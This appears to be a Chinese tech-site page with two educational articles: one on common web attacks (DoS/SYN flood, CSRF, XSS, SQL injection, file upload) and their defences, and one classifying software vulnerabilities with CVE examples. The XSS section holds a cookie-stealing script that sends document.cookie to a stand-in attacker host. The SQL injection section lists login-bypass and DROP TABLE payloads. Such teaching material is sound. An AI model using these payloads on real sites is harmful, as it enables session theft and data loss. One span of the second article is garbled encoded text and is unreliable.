精华内容
参与话题
问答
  • web常见安全漏洞

    万次阅读 2018-09-08 10:04:25
    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。...黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞...

    原文地址: https://www.cnblogs.com/yzycoder/p/5741507.html

    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这使得越来越多的用户关注应用层的安全问题,Web应用安全的关注度也逐渐升温。

    本文从目前比较常见攻击方式入手,对过去一些经典方式进行学习和总结,希望能让大家对Web的安全有更清晰的认识。在阅读本文之前,小伙伴们需要对HTTP和TCP协议、SQL数据库、JavaScript有所了解哦。
    废话不多说,下面开始我们的Web安全之旅吧!
    DoS和DDoS攻击
    DoS(Denial of Service),即拒绝服务,造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
    为了进一步认识DoS攻击,下面举个简单的栗子来进行说明:

    图1 TCP三次握手:数据段互换

    Client发送连接请求报文,Server接受连接后回复ACK报文,并为这次连接分配资源。Client接收到ACK报文后也向Server发送ACK报文,并分配资源,这样TCP连接就建立了。前两次握手,是为了保证服务端能收接受到客户端的信息并能做出正确的应答;后两次握手,是为了保证客户端能够接收到服务端的信息并能做出正确的应答。建立完TCP三次握手后,Client就可以和Web服务器进行通信了。
    在DoS攻击中,攻击者通过伪造ACK数据包,希望Server重传某些数据包,Server根据TCP重转机制,进行数据重传。攻击者利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。实现方式如下图:

    图2 攻击者伪造ACK数据包,发送大量的半连接请求

    Web服务器在未收到客户端的确认包时,会重发请求包一直到链接超时,才将此条目从未连接队列删除。攻击者再配合IP欺骗,SYN攻击会达到很好的效果。通常攻击者在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
    SYN攻击的问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的,从而导致第三次握手无法完成。在这种情况下服务器端一般会重试,即再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级,大约为30秒到2分钟。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即数以万计的半连接,将会对服务器的CPU和内存造成极大的消耗。若服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃。实际上,就算服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,导致用户的正常请求失去响应。
    对于该类问题,我们可以做如下防范:
    第一种是缩短SYN Timeout时间,及时将超时请求丢弃,释放被占用CPU和内存资源。
    第二种是限制同时打开的SYN半连接数目,关闭不必要的服务。
    第三种方法是设置SYN Cookie,给每一个请求连接的IP地址分配一个Cookie。如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。
    一般来说,第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施,增强总体服务能力。
    DDoS(Distributed Denial of Service,分布式拒绝服务)是DoS攻击的一种方法。攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。DDoS的攻击策略侧重于通过很多“僵尸主机”,向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。

    图3 DDoS攻击创建“僵尸主机”的过程

    从上图可知,DDOS是利用一批受控制的僵尸主机向一台服务器主机发起的攻击,其攻击的强度和造成的威胁要比DOS严重很多,更具破坏性。
    对于DDoS攻击,我们可以做如下防范:
    (1) 反欺骗:对数据包的地址及端口的正确性进行验证,同时进行反向探测。
    (2) 协议栈行为模式分析:每个数据包类型需要符合RFC规定,这就好像每个数据包都要有完整规范的着装,只要不符合规范,就自动识别并将其过滤掉。
    (3) 特定应用防护:非法流量总是有一些特定特征的,这就好比即便你混进了顾客群中,但你的行为还是会暴露出你的动机,比如老重复问店员同一个问题,老做同样的动作,这样你仍然还是会被发现的。
    (4) 带宽控制:真实的访问数据过大时,可以限制其最大输出的流量,以减少下游网络系统的压力。
    CSRF攻击CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。下面先介绍一下CSRF攻击的原理。

    图4 CSRF攻击过程的示例图

    受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。攻击者构建一条恶意链接,例如对受害者在网站A的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的cookie到网址A,A网站收到cookie,以为此链接是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。
    举个简单的例子来说明下CSRF的危害。用户登陆某银行网站,以Get请求的方式完成到另一银行的转账,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻击者可构造另一危险链接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把该链接通过一定方式发给受害者用户。受害者用户若在浏览器打开此链接,会将之前登陆后的cookie信息一起发送给银行网站,服务器在接收到该请求后,确认cookie信息无误,会完成改请求操作,造成攻击行为完成。攻击者可以构造CGI的每一个参数,伪造请求。这也是存在CSRF漏洞的最本质原因。
    对于CSRF攻击,我们可以做如下防范:
    (1) 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。
    但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。
    (2) Referer Check。HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。
    但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。
    (3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
    这种方法相比Referer检查要安全很多,token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
    XSS攻击
    XSS(Cross Site Scripting),跨站脚本攻击。为和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。XSS是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP列为当前的头号Web安全威胁。

    图5 XSS攻击过程的示例图

    XSS跨站脚本攻击本身对Web服务器没有直接的危害,它借助网站进行传播,使网站上大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。
    根据XSS攻击的效果,可以将XSS分为3类:
    (1) 反射型XSS(Non-persistent XSS),服务器接受客户端的请求包,不会存储请求包的内容,只是简单的把用户输入的数据“反射”给浏览器。例如:www.a.com?xss.php?name=

    。访问这个链接则会弹出页面的cookie内容,若攻击者把alert改为一个精心构造的发送函数,就可以把用户的cookie偷走。 (2) 存储型XSS(Persistent XSS),这类XSS攻击会把用户输入的数据“存储”在服务器端,具有很强的稳定性。注入脚本跟反射型XSS大同小异,只是脚本不是通过浏览器à服务器à浏览器这样的反射方式,而是多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里,其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器,这种XSS攻击就叫做“存储型XSS”。例如: 服务器端代码:
    <?php $db.set(‘name’, $_GET[‘name’]);?>

    HTML页面代码

    <?php echo ‘Hi,’ . $db.get[‘name’];?>

    图6 存储型XSS攻击过程的示例图

    (3) DOM based XSS(Document Object Model XSS),这类XSS攻击者将攻击脚本注入到DOM 结构里。出现该类攻击的大多原因是含JavaScrip静态HTML页面存在XSS漏洞。例如下面是一段存在DOM类型跨站脚本漏洞的代码:

    在JS中window.location.search是指URL中?之后的内容,document.write是将内容输出到页面。这时把链接换成http://localhost/test.php?default=
    那用户的cookie就被盗了。上面的例子只是很简单的一种,总结起来是使用了诸如document.write, innerHTML之类的渲染页面方法需要注意参数内容是否是可信任的。
    XSS攻击的危害,可以将XSS分为3类:
    (1) 窃取用户信息。黑客可以利用跨站脚本漏洞盗取用户cookie而得到用户在该站点的身份权限。如在DOM树上新增图片,用户点击后会将当前cookie发送到黑客服务器:
    vari=document.createElement(“img”);
    document.body.appendChild(i);
    i.src = “http://www.hackerserver.com/?c=” + document.cookie;
    (2) 劫持浏览器会话来执行恶意操作,如进行非法转账、强制发表日志或电子邮件等。
    (3) 强制弹广告页,刷流量和点击率。
    (4) 传播跨站脚本蠕虫。如著名的Samy (XSS)蠕虫攻击、新浪微博蠕虫攻击。
    对于XSS攻击,我们可以做如下防范:
    (1) 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。
    上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。因此,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。
    (2) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。
    (3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作,同时要避免使用客户端数据,这些操作需尽量在服务器端使用动态页面来实现。
    (4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
    (5)WAF(Web Application Firewall),Web应用防火墙,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。
    SQL注入攻击
    SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    在了解SQL注入前,我们先认识下常用的Web的四层架构图组成:

    图7 Web四层架构示例图

    SQL注入常见产生的原因有:
    (1) 转义字符处理不当。特别是输入验证和单引号处理不当。用户简单的在url页面输入一个单引号,就能快速识别Web站点是否易收到SQL注入攻击。
    (2) 后台查询语句处理不当。开发者完全信赖用户的输入,未对输入的字段进行判断和过滤处理,直接调用用户输入字段访问数据库。(3) SQL语句被拼接。攻击者构造精心设计拼接过的SQL语句,来达到恶意的目的。如构造语句:select * from users where userid=123; DROP TABLE users;直接导致user表被删除。
    SQL注入常见的注入方式有:
    (1) 内联SQL注入。向查询注入一些SQL代码后,原来的查询仍然会全部执行。内联SQL注入包含字符串内联SQL注入和数字内联SQL注入。注入方式如下图:

    图8 内联SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如如下的用户登陆页面:

    图9 有SQL注入风险的用户登陆示例图

    (a) 攻击者可在username字段中注入 ’ or ‘1’=’1’ or ‘1’=’1,password保持为空:
    SELECT * FROM login_tbl WHERE username = ’ ’ or ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在password字段,输入’ or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ’ ’ AND userpwd= ’ ’ or ‘1’=’1 ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (c) 攻击者可在username字段中注入 admin’ and 1=1 or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的字符串内联注入的特征值如下:

    图10 字符串内联注入的特征值

    常见的数字值内联注入的特征值如下:

    图11 数字值内联注入的特征值

    (2) 终止式SQL注入。攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。注入方式如下图:

    图12 终止式SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如图9的用户登陆页面:
    (a) 攻击者可在username字段中注入 ’ or 1=1; –,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; – ’ and userpwd=”
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在username字段中注入 admin’ –,或者admin’ #,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –’ and userpwd=”
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    (c) 攻击者可在username字段中注入 admin’ /,password输入/’:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /’ and userpwd=’/”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的终止式SQL注入的特征值如下:

    图13 终止式SQL注入的特征值

    对于SQL注入攻击,我们可以做如下防范:
    (1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off,防止php脚本出错之后,在web页面输出敏感信息错误,让攻击者有机可乘。
    (2) 数据转义。设置php.ini选项magic_quotes_gpc=on,它会将提交的变量中所有的’(单引号),”(双引号),(反斜杠),空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。
    (3) 增加黑名单或者白名单验证。白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。
    文件上传漏洞
    上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
    文件上传漏洞的原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
    对于文件上传漏洞攻击,我们可以做如下防范:
    (1)检查服务器是否判断了上传文件类型及后缀。
    (2) 定义上传文件类型白名单,即只允许白名单里面类型的文件上传。
    (3) 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
    Info漏洞
    Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的。

    Info漏洞存在的3个主要原因有:
    1)CGI参数可以在页面显示。
    2)返回的页面具有很强的欺骗性。
    3)该页面是对所有用户是公开,可访问的。
    Info漏洞的主要危害在于,若在访问量较大的公开页面,如网购、微博或新闻网站,发布反动的政治言论或其他色情词汇等。一方面会影响用户对网购业务的信心,同时也会给网站带来一些政治风险。另外,若是发布欺骗信息,如中奖、彩票等,也会对一些用户造成财产损失。
    对于Info漏洞攻击,将为常见的就是建立脏词库。
    即对于晒单,评论,昵称等可以被其他用户访问到的地方,进行脏词过滤。对用户的输入词汇,与脏词库中的词汇进行匹配,过滤掉有与脏词库相同的词汇。对于一些面向用户自己的,而其他用户不能看到的页面。可以不对其做脏词处理。
    介绍就到这里啦,我们一起来做个总结吧:Web安全是我们必须关注且无法逃避的话题,本文介绍了一些比较典型的安全问题和应对方案。例如对于SQL,XSS等注入式攻击,我们一定要对用户输入的内容进行严格的过滤和审查,这样可以避免绝大多数的注入式攻击方式。对于DoS攻击我们就需要使用各种工具和配置来减轻危害,另外容易被DDoS攻击的还有HTTPS服务,我们要做好特定的应用防护和用户行为模式分析。所以在日常的开发和测试过程中,我们要时常提醒自己,写出的代码有没有可能被人攻击?或者思考若我是一个攻击者,我该怎么做才可以达到我的攻击效果呢?只有这样知己知彼后,方可百战百胜!

    展开全文
  • 安全漏洞概念及分类

    万次阅读 2016-10-12 16:50:48
    本文是一个安全漏洞相关的科普,介绍安全漏洞的概念认识,漏洞在几个维度上的分类及实例展示。 安全漏洞及相关的概念 本节介绍什么是安全漏洞及相关的概况。 安全漏洞的定义 我们经常听到漏洞这个概念,可...
    本文是一个安全漏洞相关的科普,介绍安全漏洞的概念认识,漏洞在几个维度上的分类及实例展示。

    安全漏洞及相关的概念

    本节介绍什么是安全漏洞及相关的概况。

    安全漏洞的定义

    我们经常听到漏洞这个概念,可什么是安全漏洞?想给它一个清晰完整的定义其实是非常困难的。如果你去搜索一下对于漏洞的定义,基本上会发现高大上的学术界和讲求实用的工业界各有各的说法,漏洞相关的各种角色,比如研究者、厂商、用户,对漏洞的认识也是非常不一致的。  
    从业多年,我至今都找不到一个满意的定义,于是我自己定义一个:  

    安全漏洞是信息系统在生命周期的各个阶段(设计、实现、运维等过程)中产生的某类问题,这些问题会对系统的安全(机密性、完整性、可用性)产生影响。

    这是一个从研究者角度的偏狭义的定义,影响的主体范围限定在了信息系统中,以尽量不把我们所不熟悉的对象扯进来。

    漏洞之所以被描述为某种”问题”,是因为我发现无法简单地用脆弱性、缺陷和Bug等概念来涵盖它,而更象是这些概念的一个超集。    
    漏洞会在系统生命周期内的各个阶段被引入进来,比如设计阶段引入的一个设计得非常容易被破解加密算法,实现阶段引入的一个代码缓冲区溢出问题,运维阶段的一个错误的安全配置,这些都有可能最终成为漏洞。     
    定义对安全的影响也只涉及狭义信息安全的三方面:机密性、完整性和可用性。漏洞造成的敏感信息泄露导致机密性的破坏;造成数据库中的信息被非法篡改导致完整性的破坏;造成服务器进程的崩溃导致可用性的丧失。漏洞也可能同时导致多个安全属性的破坏。

    安全漏洞与Bug的关系

    漏洞与Bug并不等同,他们之间的关系基本可以描述为:大部分的Bug影响功能性,并不涉及安全性,也就不构成漏洞;大部分的漏洞来源于Bug,但并不是全部,它们之间只是有一个很大的交集。可以用如下这个图来展示它们的关系

    安全漏洞概念及分类

    已知漏洞的数量

    各个漏洞数据库和索引收录了大量已知的安全漏洞,下表是一个主流漏洞库的数量的大致估计,漏洞一般最早从20世纪90年代开始:

    漏洞条目库

    特点

    数量 URL
    SecurityFocus 全揭露,带POC >60000 http://www.securityfocus.com/bid/
    OSVDB 数量最大,索引丰富 >100000 http://www.osvdb.org/
    Secunia 产品分类细 >58000 http://secunia.com/community/advisories/
    ISS XForce 描述信息专业 >90000 http://xforce.iss.net/
    CVE 最全的索引 >60000 http://cve.mitre.org/cve/cve.html
    CNVD 国内的中文数据库 >60000 http://www.cnvd.org.cn/flaw/list.htm

    事实上,即便把未知的漏洞排除在外,只要订了若干漏洞相关的邮件列表就会知道:并不是所有漏洞数据库都会收录,就算把上面的所列的数据库中的所有条目加起来去重以后也只是收录了一部分的已知漏洞而已,实际的已知漏洞数比总收录的要高得多。

    安全漏洞的分类

    和其他事物一样,安全漏洞具有多方面的属性,也就可以从多个维度对其进行分类,重点关注基于技术的维度。注意,下面提到的所有分类并不是在数学意义上严格的,也就是说并不保证同一抽象层次、穷举和互斥,而是极其简化的出于实用为目的分类。

    基于利用位置的分类

    本地漏洞

    需要操作系统级的有效帐号登录到本地才能利用的漏洞,主要构成为权限提升类漏洞,即把自身的执行权限从普通用户级别提升到管理员级别。

    实例:

    Linux Kernel 2.6 udev Netlink消息验证本地权限提升漏洞( CVE-2009-1185 )

    攻击者需要以普通用户登录到系统上,通过利用漏洞把自己的权限提升到root用户,获取对系统的完全控制。

    远程漏洞

    无需系统级的帐号验证即可通过网络访问目标进行利用,这里强调的是系统级帐号,如果漏洞利用需要诸如FTP用户这样应用级的帐号要求也算是远程漏洞。   
    实例:

    -  Microsoft Windows DCOM RPC接口长主机名远程缓冲区溢出漏洞(MS03-026)(CVE-2003-0352)   
    攻击者可以远程通过访问目标服务器的RPC服务端口无需用户验证就能利用漏洞,以系统权限执行任意指令,实现对系统的完全控制。 

    基于威胁类型的分类

    获取控制

    可以导致劫持程序执行流程,转向执行攻击者指定的任意指令或命令,控制应用系统或操作系统。威胁最大,同时影响系统的机密性、完整性,甚至在需要的时候可以影响可用性。   
    主要来源:内存破坏类、CGI类漏洞

    获取信息

    可以导致劫持程序访问预期外的资源并泄露给攻击者,影响系统的机密性。   
    主要来源:输入验证类、配置错误类漏洞

    拒绝服务

    可以导致目标应用或系统暂时或永远性地失去响应正常服务的能力,影响系统的可用性。   
    主要来源:内存破坏类、意外处理错误处理类漏洞。  

    基于技术类型的分类   

    基于漏洞成因技术的分类相比上述的两种维度要复杂得多,对于目前我所见过的漏洞大致归纳为以下几类:

    - 内存破坏类
    - 逻辑错误类
    - 输入验证类
    - 设计错误类
    - 配置错误类

    以下是对这几类漏洞的描述和实例分析。

    内存破坏类

    此类漏洞的共同特征是由于某种形式的非预期的内存越界访问(读、写或兼而有之),可控程度较好的情况下可执行攻击者指定的任意指令,其他的大多数情况下会导致拒绝服务或信息泄露。   
    对内存破坏类漏洞再细分下来源,可以分出如下这些子类型:

    - 栈缓冲区溢出
    - 堆缓冲区溢出
    - 静态数据区溢出
    - 格式串问题
    - 越界内存访问
    - 释放后重用
    - 二次释放
    栈缓冲区溢出

    最古老的内存破坏类型。发生在堆栈中的缓冲区溢出,由于利用起来非常稳定,大多可以导致执行任意指令,威胁很大。此类漏洞历史非常悠久, 1988年著名的Morris蠕虫传播手段之一就是利用了finger服务的一个栈缓冲区溢出漏洞。在2008年之前的几乎所有影响面巨大的网络蠕虫也基本利用此类漏洞,汇总情况可以见下表: 

    蠕虫 中文名号 MS 公告号  CVE ID 漏洞名
    Slammer 蠕虫王 MS02-056 CVE-2002-1123 Microsoft SQL Server预验证过程远程缓冲区溢出漏洞
    MSBlast 冲击波 MS03-026 CVE-2003-0352 Microsoft Windows DCOM RPC接口长主机名远程缓冲区溢出漏洞
    Sasser 震荡波 MS04-011 CVE-2003-0533 Microsoft Windows LSASS远程缓冲区溢出漏洞
    Conficker 飞客蠕虫 MS08-067 CVE-2008-4250 Microsoft Windows Server服务RPC请求缓冲区溢出漏洞

    上面表格里列出的蠕虫即使经过多年,在当前的互联网上还经常被捕捉到。   栈溢出漏洞是相对比较容易发现的漏洞,静态动态分析的方法对于此漏洞的挖掘已经相当成熟,因此这类漏洞,特别是服务端程序中,目前基本处于日渐消亡的状态。   实例:
    - 暴风影音stormtray进程远程栈缓冲区溢出漏洞
    长度检查不充分的串连接操作。

    安全漏洞概念及分类

    - Sun Solaris snoop(1M)工具远程指令执行漏洞( CVE-2008-0964 )

    无长度检查的*printf调用。

    安全漏洞概念及分类

    frameborder="0" allowtransparency="true" scrolling="no" vspace="0" hspace="0" style="position: static; display: block; padding: 0px; margin: 0px; border-style: none; vertical-align: baseline; width: 341px; height: 74px;">

    - Novell eDirectory HTTPSTK Web服务器栈溢出漏洞

    无长度检查的memcpy调用。

    安全漏洞概念及分类

    frameborder="0" allowtransparency="true" scrolling="no" vspace="0" hspace="0" style="position: static; display: block; padding: 0px; margin: 0px; border-style: none; vertical-align: baseline; width: 342px; height: 74px;">

    - FlashGet FTP PWD命令超长响应栈溢出漏洞

    安全漏洞概念及分类

    - Imatix Xitami If-Modified-Since头远程栈溢出漏洞。

    极其危险的sscanf类调用。

    安全漏洞概念及分类

    - Borland StarTeam Multicast服务用户请求解析远程栈溢出漏洞( CVE-2008-0311 )

    安全漏洞概念及分类

    - Microsoft DirectShow MPEG2TuneRequest 溢出漏洞( CVE-2008-0015 )

    手抖,缓冲区的指针被当做缓冲区本身被数据覆盖溢出。

    安全漏洞概念及分类

    堆缓冲区溢出

    导致堆缓冲区溢出的来源与栈溢出的一致,基本都是因为一些长度检查不充分的数据操作,唯一不同的地方只是发生问题的对象不是在编译阶段就已经确定分配的栈缓冲区,而是随着程序执行动态分配的堆块。   
    实例:
    - HP OpenView NNM Accept-Language HTTP头堆溢出漏洞( CVE-2009-0921)
    典型的先分配后使用的堆溢出问题。

    安全漏洞概念及分类

    PHP (phar extension)堆溢出漏洞

    堆溢出特有的溢出样式:由于整数溢出引发Malloc小缓冲区从而最终导致堆溢出。

    安全漏洞概念及分类

    静态数据区溢出

    发生在静态数据区BSS段中的溢出,非常少见的溢出类型。

    实例:

    - Symantec pcAnyWhere awhost32远程代码执行漏洞(CVE-2011-3478)

    安全漏洞概念及分类

    格式串问题

    在*printf类调用中由于没有正确使用格式串参数,使攻击者可以控制格式串的内容操纵*printf调用越界访问内存。此类漏洞通过静态或动态的分析方法可以相对容易地被挖掘出来,因此目前已经很少能够在使用广泛的软件中看到了。

    实例:

    - Qualcomm Qpopper 2.53格式串处理远程溢出漏洞(CVE-2000-0442)

    安全漏洞概念及分类

    想了解更多格式串漏洞的原理和利用,可以参考warning3在很早之前写的文档:

    *printf()格式化串安全漏洞分析 http://www.nsfocus.net/index.php?act=magazine&do=view&mid=533http://www.nsfocus.net/index.php?act=magazine&do=view&mid=534<喎�"/kf/ware/vc/" target="_blank" class="keylink">vcD4NCjxoNj4NCgk8c3Ryb25nPtS9vefE2rTmt8POyjwvc3Ryb25nPjwvaDY+DQo8cD6zzNDyw6TEv9DFyM7AtNfUzajQxbbUt720q7XdtcTK/b7do6yyotLUtMvX986qxNq05rfDzsq1xMv30v2jrLv70M61xMr91rW1vNbC1L2957XExNq05rfDzsqjrNTss8nE2rTmxsa7tbvy0MXPotC5wrahoyZuYnNwOyAmbmJzcDs8YnIgLz4NCsq1wP2jujxiciAvPg0KLSBPcGVuU1NMIFRMU9DEzPjAqdW50K3S6bD81LazzNDFz6LQucK2wqm2tCAoQ1ZFLTIwMTQtMDE2MCk8YnIgLz4NCsKptrTKx9PJ09q9+LPMsru807zssum12Mq508PNqNDFttS2y8zhuam1xMr9vt3H+LOktsjWtaOssLTWuLaotcSzpLbItsHIocTatOa3tbvYo6y1vNbC1L2957fDzsq1vbTzv+m1xNSkxtrS1M3itcTE2rTmyv2+3bKit7W72KOs0LnCtrD8wKjTw7unw/uhor/awe6holNlc3Npb25JRMn11sHKx8u91L+1yNTaxNq1xMP0uNDQxc+ioaM8L3A+DQo8cD48aW1nIGFsdD0="安全漏洞概念及分类" src="/uploadfile/2014/0508/20140508110216384.png" style="display: block;" />

    释放后重用

    这是目前最主流最具威胁的客户端(特别是浏览器)漏洞类型,大多数被发现的利用0day漏洞进行的水坑攻击也几乎都是这种类型,每个月各大浏览器厂商都在修复大量的此类漏洞。技术上说,此类漏洞大多来源于对象的引用计数操作不平衡,导致对象被非预期地释放后重用,进程在后续操作那些已经被污染的对象时执行攻击者的指令。与上述几类内存破坏类漏洞的不同之处在于,此类漏洞的触发基于对象的操作异常,而非基于数据的畸形异常(通常是不是符合协议要求的超长或畸形字段值),一般基于协议合规性的异常检测不再能起作用,检测上构成极大的挑战。   
    实例:
    - Microsoft IE非法事件操作内存破坏漏洞(CVE-2010-0249)
    著名的Aurora攻击,涉嫌入侵包括Google在内的许多大互联网公司的行动,就使用了这个CVE-2010-0249这个典型的释放后重用漏洞。

    安全漏洞概念及分类

    二次释放

    一般来源于代码中涉及内存使用和释放的操作逻辑,导致同一个堆缓冲区可以被反复地释放,最终导致的后果与操作系统堆管理的实现方式相关,很可能实现执行任意指令。

    实例:

    - CVS远程非法目录请求导致堆破坏漏洞( CVE-2003-0015)

    安全漏洞概念及分类

    逻辑错误类

    涉及安全检查的实现逻辑上存在的问题,导致设计的安全机制被绕过。

    实例:

    - Real VNC 4.1.1验证绕过漏洞( CVE-2006-2369 )

    漏洞允许客户端指定服务端并不声明支持的验证类型,服务端的验证交互代码存在逻辑问题。

    安全漏洞概念及分类

    安全漏洞概念及分类

    Android应用内购买验证绕过漏洞

